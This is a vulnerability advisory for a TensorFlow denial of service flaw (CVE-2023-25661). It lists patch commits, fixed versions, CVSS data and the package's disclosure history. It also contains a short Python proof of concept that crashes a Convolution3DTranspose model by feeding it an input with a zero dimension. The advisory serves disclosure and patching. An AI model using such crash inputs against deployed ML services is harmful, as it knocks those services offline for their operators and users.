TensorFlow Denial of Service vulnerability
Impact
A malicious invalid input crashes a tensorflow model (Check Failed) and can be used to trigger a denial of service attack. To minimize the bug, we built a simple single-layer TensorFlow model containing a Convolution3DTranspose layer, which works well with expected inputs and can be deployed in real-world systems. However, if we call the model with a malicious input which has a zero dimension, it gives Check Failed failure and crashes.
import tensorflow as tf
class MyModel(tf.keras.Model):
def __init__(self):
super().__init__()
self.conv = tf.keras.layers.Convolution3DTranspose(2, [3,3,3], padding="same")
def call(self, input):
return self.conv(input)
model = MyModel() # Defines a valid model.
x = tf.random.uniform([1, 32, 32, 32, 3], minval=0, maxval=0, dtype=tf.float32) # This is a valid input.
output = model.predict(x)
print(output.shape) # (1, 32, 32, 32, 2)
x = tf.random.uniform([1, 32, 32, 0, 3], dtype=tf.float32) # This is an invalid input.
output = model(x) # crash
This Convolution3DTranspose layer is a very common API in modern neural networks. The ML models containing such vulnerable components could be deployed in ML applications or as cloud services. This failure could be potentially used to trigger a denial of service attack on ML cloud services.
Patches
We have patched the issue in
- GitHub commit 948fe6369a5711d4b4568ea9bbf6015c6dfb77e2
- GitHub commit 85db5d07db54b853484bfd358c3894d948c36baf.
The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.11.1 | 2.11.1 |
| Python (PyPI) | tensorflow-cpu | < 2.11.1 | 2.11.1 |
References
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-fxgc-95xx-grvq
- https://nvd.nist.gov/vuln/detail/CVE-2023-25661
- https://github.com/keras-team/keras/commit/85db5d07db54b853484bfd358c3894d948c36baf
- https://github.com/tensorflow/tensorflow/commit/948fe6369a5711d4b4568ea9bbf6015c6dfb77e2
- https://github.com/tensorflow/tensorflow
- https://pypi.org/project/tensorflow-cpu
- https://github.com/advisories/GHSA-fxgc-95xx-grvq
- https://pypi.org/project/tensorflow
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H- Weakness (CWE)
CWE-20- Platform
- Python (PyPI)
- Package
tensorflow, tensorflow-cpu- Disclosed
- 27.03.2023
- Updated
- 11.10.2026 14:18
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-1952 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-fxgc-95xx-grvq - CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-3182 - PyPA Advisory Database; CC BY 4.0
Vulnerability history: tensorflow
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 433
- First → latest
- 04.2019 07.2024
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 6
- High 112
- Medium 210
- Low 105
Disclosures per year
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 169
- 2023: 21
- 2024: 1
- 2025: 0
- 2026: 0
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TensorFlow Denial of Service vulnerability this entry
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